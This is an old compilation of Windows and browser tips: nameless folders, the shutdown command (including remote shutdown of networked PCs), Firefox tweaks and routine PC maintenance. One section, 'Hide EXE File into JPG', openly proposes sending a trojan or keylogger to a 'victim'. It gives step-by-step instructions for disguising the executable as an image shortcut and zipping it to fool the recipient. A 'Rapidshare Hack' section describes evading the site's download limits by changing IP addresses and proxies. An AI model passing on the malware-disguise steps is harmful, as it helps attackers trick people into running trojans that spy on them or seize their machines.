-: Create Folders And Files With NO! Name :-
Just follow the steps as given below :-
1) Select any file or folder.
2) Right click on it, select 'Rename' or simply press 'F2'.
3) Press and hold the 'Alt' key. While holding the Alt key, type numbers '0160' from the numpad.
Note :- Type the numbers '0160' from the numpad, that is, the numbers present on the right side of the keyboard.
Don’t type the numbers which are present on top of the character keys.
4) Press Enter and the nameless file or folder will be created.
Reason :- The file or folder that seems nameless is actually named with a single space.
But what if you want to create another nameless file or folder in the same directory ?
For this you will have to rename the file with 2 spaces.
Just follow the steps given below :-
1) Select file, Press 'F2'.
2) Hold 'Alt' key and type '0160' from the numpad.
3) Release the 'Alt' key. Now without doing anything else, again hold 'Alt' key and type '0160'.
4) Press 'Enter' and you will have second nameless file in the same directory.
5) Repeat step 3 to create as many nameless files or folders in the same directory.
(We have a problem with deleting these folders, to do so, start your computer in 'Safe Mode' and delete it from there.)

4
C:\>set /a 2*(9/2)
8
C:\>set /a (2*9)/2
9
C:\>set /a "31>>2"
7
Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.
For more information, type set /? at the command prompt.
-: Shutdown Command Via Command Prompt :-
To Run the 'Shutdown' command from the command prompt, go to 'Start > Run', type 'cmd', and press 'Enter'.
In the black box (the command prompt) type 'Shutdown' and the Switches you want to use with the 'Shutdown' command.
You have to use at least one switch for the shutdown command to work.
The Switches :-
The 'Shutdown' command has a few options called Switches. You can always see them by typing 'shutdown -?' in the command prompt if you forget any of them.
-i: Display GUI interface, must be the first option
-l: Log off (cannot be used with -m option)
-s: Shutdown the computer
-r: Shutdown and restart the computer
-a: Abort a system shutdown
-m \\computername: Remote computer to shutdown/restart/abort
-t xx: Set timeout for shutdown to xx seconds
-c “comment”: Shutdown comment (maximum of 127 characters)
-f: Forces running applications to close without warning
-d [u][p]:xx:yy: The reason code for the shutdown u is the user code p is a planned shutdown code xx is the major reason code (positive integer less than 256) yy is the minor reason code (positive integer less than 65536)
Note :- I’ve noticed using a switch with a '-' sign doesn’t work sometimes.
If you are having trouble try using a '/' in place of '-' in your switches.
Examples :-
shutdown –m \\computername –r –f
This command will restart the computer named computername and force any programs that might still be running to stop.
shutdown –m \\computername –r –f –c “I’m restarting your computer. Please save your work now.” –t 120
This command will restart the computer named computername, force any programs that might still be running to stop, give to user on that computer a message, and countdown 120 seconds before it restarts.
shutdown –m \\computername –a
This command will abort a previous shutdown command that is in progress.
Using A Batch File :-
You can create a file that performs the shutdown command on many computers at one time.
In this example I’m going to create a batch file that will use the shutdown command to shut down 3 computers on my home network before I go to bed.
Open 'Notepad' and type the shutdown command to shut down a computer for each computer on the network.
Make sure each shutdown command is on its own line.
An example of what should be typed in notepad is given below-
shutdown –m \\computer1 –s
shutdown –m \\computer2 –s
shutdown –m \\computer3 -s
Now I’ll save it as a batch file by going to file, save as, change save as type to all files, give the file a name ending with '.bat'. I named mine 'shutdown.bat'.
Pick the location to save the batch file in and save it.
When you run the batch file it’ll shutdown computer 1, 2, and 3 for you.
You can use any combination of shutdown commands in a batch file

-: Hide EXE File into JPG :-
-: Hide EXE File into JPG :-
This is a good trick to hide your exe files into a jpg file..!
How about sending a trojan or a keylogger into your victim using this trick..??
1) Firstly, create a new folder and make sure that the options 'show hidden files and folders' is checked and ‘hide extensions for known file types’ is unchecked.
Basically what you need is to see hidden files and see the extension of all your files on your pc.
2) Paste a copy of your server on the new created folder. let's say it's called 'server.exe' (that's why you need the extension of files showing, cause you need to see it to change it)
3) Now you’re going to rename this 'server.exe' to whatever you want, let’s say for example 'picture.jpeg'
4) Windows is going to warn you if you really want to change this extension from exe to jpeg, click YES.
5) Now create a shortcut of this 'picture.jpeg' in the same folder.
6) Now that you have a shortcut, rename it to whatever you want, for example, 'me.jpeg'.
7) Go to properties (on file me.jpeg) and now you need to do some changes there.
8) First of all delete all the text on field 'Start In' and leave it empty.
9) Then on field 'Target' you need to write the path to open the other file (the server renamed 'picture.jpeg') so you have to write this :-
'C:\WINDOWS\system32\cmd.exe /c picture.jpeg'
10) The last field, 'c picture.jpeg' is always the name of the first file. If you called the first file 'soccer.avi' you gotta write 'C:\WINDOWS\system32\cmd.exe /c soccer.avi'.
11) So what you’re doing is when someone clicks on 'me.jpeg', a cmd will execute the other file 'picture.jpeg' and the server will run.
12) On that file 'me.jpeg' (shortcut), go to properties and you have an option to change the icon. Click that and a new window will pop up and you have to write this :-
%SystemRoot%\system32\SHELL32.dll . Then press OK.
13) You can set the properties 'Hidden' for the first file 'picture.jpeg' if you think it’s better to get a connection from someone.
14) But don’t forget one thing, these 2 files must always be together in the same folder and to get connected to someone they must click on the shortcut created not on the first file. So rename the files to whatever you want considering the person and the knowledge they have on this matter.
15) For me for example I always want the shortcut showing first so can be the first file to be opened. So I rename the server to 'picture2.jpeg' and the shortcut to 'picture1.jpeg'.
This way the shortcut will show up first. If you set hidden properties to the server 'picture.jpeg' then you don’t have to bother with this detail but I’m warning you, the hidden file will always show up inside of a Zip or a Rar file.
16) So the best way to send these files together to someone is compress them into Zip or Rar.
17) inside the Rar or Zip file you can see the files properties and even after all this work you can see that the shortcut is recognized like a shortcut but hopefully the person you sent this too doesn’t know that and is going to open it.

-: Rapidshare Hack :-
1) Rapidshare Hack (For Firefox Users) :-
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment.
But most of the time, that advantage is available only to people with the programming skills to make the changes they want.
That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.
Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools.
It changes how Web pages look and act by altering the rendering process.
http://greasemonkey.mozdev.org/
1) Install the Greasemonkey extension>>
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose "Install User Script".
5) Run FireFox.
6) From 'File' Menu click on Open File then browse to whereever you saved the 'greasemonkey.xpi' plug-in.
Open it, wait a couple seconds for the install button becomes active.
7) Click on it to install this plug-in then CLOSE FIREFOX.
8) Run FireFox again.
From the File Menu click on Open File then browse to whereever you saved the 'rapidshare.user.js'.
9) Open it.
10) Click the Tools Menu then click on Install User Script then click OK.
11) Close FireFox.
The script will let you enjoy "no wait" and multiple file downloads......!
2) Rapidshare Hack (NIC Tricks and MAC Cloning) :-
Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day.
To get around this, you need to show the rapidshare server a different IP address.
Here are some methods for doing this-
A] Short-Out the JavaScript:
1) Goto the page you want to download
2) Select FREE button
3) In the address bar put this- javascript:alert(c=0)
4) Click OK
5) Click OK to the pop-up box
6) Enter the captcha
7) Download Your File
B] Request a new IP address from your ISP server:
Here’s how to do it in windows:
1) Click Start
2) Click run
3) In the run box type cmd.exe and click OK
4) When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit
5) Erase your cookies in whatever browser you are using.
6) Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens.
Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work.
If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.
C] Use a proxy with SwitchProxy and Firefox:
1) Download and install Firefox
2) Download and install SwitchProxy
3) Google for free proxies
4) When you hit your download limit, clean your cookies and change your proxy
D] You can use a bookmarklet to stop your wait times:
1) Open IE
2) Right Click On This Link
3) Select Add to Favorites
4) Select Yes to the warning that the bookmark may be unsafe.
5) Name it “RapidShare No Wait”
6) Click on the Links folder (if you want to display it in your IE toolbar)
7) Click OK
8) You may need to close and reopen IE to see it
9) Goto rapidshare and click the bookmarklet when you are forced to wait
12 Tricks To Increase Your Firefox Speed By A Noticeable Amount
01. Type about:config in the address bar and then press Enter.And you will see a confirmation message like this: Now click I'll be careful, I promise!
02. You will see a label there Filter, just next to it type network.http.pipelining. Now be sure the value field is set true, if not double-click to set true.Info: HTTP is the application-layer protocol that most web pages are transferred with. In HTTP 1.1, multiple requests can be sent before any responses are received. This is known as pipelining. Pipelining reduces page loading times, but not all servers support it!
03. Go back to the Filter search bar and type network.http.pipelining.maxrequests Double-click this option and set its value to 8.
04. In the Filter search bar and type network.http.proxy.pipelining Once opened double-click on it and set it to true.
05. Type network.dns.disableIPv6 in the filter search bar and set this option to true by double clicking on it. Info: In IPv6-capable DNS servers, an IPv4 address may be returned when an IPv6 address is requested. It is possible for Mozilla to recover from this misinformation, but a significant delay is introduced.
06. CONTENT INTERRUPT PARSING
This preference controls if the application will interrupt parsing a page to respond to UI events. It does not exist by default.Right-click (Apple users ctrl+click) anywhere in the about:config window, select New and then Boolean from the pop-up menu. Then:
A. Enter content.interrupt.parsing in the New boolean value pop-up window and click OK.
B. When prompted to choose the value for the new boolean, select true and click OK.
07. Rather than wait until a page has completely downloaded to display it to the user, Mozilla applications will regularly render what has been received to that point. This option controls the maximum amount of time the application will be unresponsive while rendering pages.Right-click (Apple users ctrl+click) anywhere in the about:config window, select New and then Integer from the pop-up menu.
A. Enter content.max.tokenizing.time in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 2250000 and click OK.
08. CONTENT NOTIFY INTERVAL
This option sets the minimum amount of time to wait between reflows. Right-click (Apple users ctrl+click) anywhere in the about:config window, select New and then Integer from the pop-up menu.
A. Type content.notify.interval in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 750000 and click OK.
09. CONTENT NOTIFY ONTIMER
A. This option sets if to reflow pages at an interval any higher than that specified by content.notify.interval. Right-click (Apple users ctrl+click) anywhere in the about:config window and select New and then Boolean from the pop-up menu.
B. Type content.notify.ontimer in the New boolean value pop-up window and click OK.
C. You will be prompted to choose the value for the new boolean. Select true and click OK.
10. Notify Backoffcount This option controls the maximum number of times the content will do timer-based reflows. After this number has been reached, the page will only reflow once it is finished downloading. Right-click (Apple users ctrl+click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter content.notify.backoffcount in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 5 and click OK.
11. CONTENT SWITCH THRESHOLD
You can interact with a loading page when content.interrupt.parsing is set to true. When a page is loading, the application has two modes: a high frequency interrupt mode and a low frequency interrupt mode. The first one interrupts the parser more frequently to allow for greater UI responsiveness during page load.The low frequency interrupt mode interrupts the parser less frequently to allow for quicker page load. The application enters high frequency interrupt mode when you move the mouse or type on the keyboard and switch back to low frequency mode when you had no activity for a certain amount of time. This preference controls that amount of time. Right-click (Apple users ctrl+click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter content.switch.threshold in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 750000 and click OK.
12. NGLAYOUT INITIALPAINT DELAY
Mozilla applications render web pages incrementally, they display what??™s been received of a page before the entire page has been downloaded. Since the start of a web page normally doesn't have much useful information to display, Mozilla applications will wait a short interval before first rendering a page. This preference controls that interval. Right-click (Apple users ctrl+click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter nglayout.initialpaint.delay in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 0 and click OK.That's it!
Now restart Firefox and your browsing as well as downloading speed will be much more faster. Good luck.

5 ways to speed up your PC
By following a few simple guidelines, you can maintain your computer and keep it running smoothly. This article discusses how to use the tools available in Windows XP Service Pack 3 (SP3) and Windows Vista to more efficiently maintain your computer and safeguard your privacy when you're online.
1. Free up disk space
By freeing disk space, you can improve the performance of your computer. The Disk Cleanup tool helps you free up space on your hard disk. The utility identifies files that you can safely delete, and then enables you to choose whether you want to delete some or all of the identified files.
Use Disk Cleanup to:
· Remove temporary Internet files.
· Remove downloaded program files (such as Microsoft ActiveX controls and Java applets).
· Empty the Recycle Bin.
· Remove Windows temporary files.
· Remove optional Windows components that you don't use.
· Remove installed programs that you no longer use.
Tip: Typically, temporary Internet files take the most amount of space because the browser caches each page you visit for faster access later.
To use Disk Cleanup
1. Click Start, point to All Programs, point to Accessories, point to System Tools, and then click Disk Cleanup. If several drives are available, you might be prompted to specify which drive you want to clean.
2. In the Disk Cleanup for dialog box, scroll through the content of the Files to delete list.
Choose the files that you want to delete.
1. Clear the check boxes for files that you don't want to delete, and then click OK.
2. When prompted to confirm that you want to delete the specified files, click Yes.
After a few minutes, the process completes and the Disk Cleanup dialog box closes, leaving your computer cleaner and performing better.
2. Speed up access to data
Disk fragmentation slows the overall performance of your system. When files are fragmented, the computer must search the hard disk when the file is opened to piece it back together. The response time can be significantly longer.
Disk Defragmenter is a Windows utility that consolidates fragmented files and folders on your computer's hard disk so that each occupies a single space on the disk. With your files stored neatly end-to-end, without fragmentation, reading and writing to the disk speeds up.
When to run Disk Defragmenter
In addition to running Disk Defragmenter at regular intervals—monthly is optimal—there are other times you should run it too, such as when:
· You add a large number of files.
· Your free disk space totals 15 percent or less.
· You install new programs or a new version of Windows.
To use Disk Defragmenter:
1. Click Start, point to All Programs, point to Accessories, point to System Tools, and then click Disk Defragmenter.
Click Analyze to start the Disk Defragmenter.
1. In the Disk Defragmenter dialog box, click the drives that you want to defragment, and then click the Analyze button. After the disk is analyzed, a dialog box appears, letting you know whether you should defragment the analyzed drives.
Tip: You should analyze a volume before defragmenting it to get an estimate of how long the defragmentation process will take.
2. To defragment the selected drive or drives, click the Defragment button. Note: In Windows Vista, there is no graphical user interface to demonstrate the progress—but your hard drive is still being defragmented.
After the defragmentation is complete, Disk Defragmenter displays the results.
3. To display detailed information about the defragmented disk or partition, click View Report.
4. To close the View Report dialog box, click Close.
5. To close the Disk Defragmenter utility, click the Close button on the title bar of the window.
3. Detect and repair disk errors
In addition to running Disk Cleanup and Disk Defragmenter to optimize the performance of your computer, you can check the integrity of the files stored on your hard disk by running the Error Checking utility.
As you use your hard drive, it can develop bad sectors. Bad sectors slow down hard disk performance and sometimes make data writing (such as file saving) difficult, or even impossible. The Error Checking utility scans the hard drive for bad sectors, and scans for file system errors to see whether certain files or folders are misplaced.
If you use your computer daily, you should run this utility once a week to help prevent data loss.
To run the Error Checking utility:
1. Close all open files.
2. Click Start, and then click My Computer.
3. In the My Computer window, right-click the hard disk you want to search for bad sectors, and then click Properties.
4. In the Properties dialog box, click the Tools tab.
5. Click the Check Now button.
6. In the Check Disk dialog box, select the Scan for and attempt recovery of bad sectors check box, and then click Start.
1. If bad sectors are found, choose to fix them.
Tip: Only select the "Automatically fix file system errors" check box if you think that your disk contains bad sectors.
4. Protect your computer against spyware
Spyware collects personal information without letting you know and without asking for permission. From the Web sites you visit to usernames and passwords, spyware can put you and your confidential information at risk. In addition to privacy concerns, spyware can hamper your computer's performance. To combat spyware, you might want to consider using Microsoft Windows Defender, which is included in Windows Vista, and is available as a free download for Microsoft XP SP2. Alternatively, there are other free anti-spyware software programs available.
5. Learn all about ReadyBoost
If you're using Windows Vista, you can use ReadyBoost to speed up your system. A new concept in adding memory to a system, it allows you to use non-volatile flash memory—like a USB flash drive or a memory card—to improve performance without having to add additional memory. Learn more.
